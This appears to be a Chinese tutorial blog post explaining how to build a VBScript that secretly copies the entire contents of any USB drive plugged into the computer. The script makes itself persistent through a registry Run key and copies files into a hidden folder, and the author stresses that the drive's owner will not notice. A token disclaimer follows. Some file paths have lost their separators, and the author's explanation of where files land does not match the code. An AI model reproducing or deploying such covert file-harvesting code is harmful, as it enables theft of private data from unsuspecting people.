如何制作拷贝对方U盘的程序
1、首先先在桌面建立一个文本，也就是记事本随便叫记录仪好了。
2、然后呢在里面写入如下内容
on error resume next
dim fso,cmd,dir,st,drive
set cmd=createobject("wscript.shell")
set fso=createobject("scripting.filesystemobject")
set dir=fso.getspecialfolder(1)
set st=fso.drives
if not(fso.fileexists(dir&"copy.vbs")) then
fso.getfile(wscript.scriptfullname).move(dir&"copy.vbs")
end if
fso.createfolder("c:windowstempufile")
cmd.regwrite "HKLMSoftWareMicrosoftWindowscurrentversionRun","c:windowssystem32copy.vbs","REG_SZ"
for i=1 to 2
i=1
for each f in st
if f.drivetype=1 then
n=f.path
fso.copyfile n&"*","c:windowstempufile"
fso.copyfolder n&"*","c:windowstempufile"
wscript.sleep 60000
end if
next
next
这些话是什么意思呢，我大致为大家讲解下啊，就是如果点击执行后，桌面会创建一个叫windowstempufile的文件夹，当有U盘插入的时候，就将U盘里所有的内容拷贝进去。
3、到了这一步，然后将记录仪.txt重新命名为记录仪.vbs就可以了，点击执行一下，你就会发现桌面上新建了一个叫windowstempufile，这时候就已经成功了。
4、现在就已经可以了，把记录仪随便保存在一个地方就行，当有人用你电脑插入U盘的时候，你回来就可以在windowstempufile文件夹里面看见了，看见他U盘里所有的东西，而且对方还察觉不到。因为小编的U盘东西太多了，在这里就不为大家实验了。最后说一下，别拿去干坏事啊，这也是自己做小程序吧，其实也就是一个脚本。
大家点一个赞吧，码字很辛苦的。感谢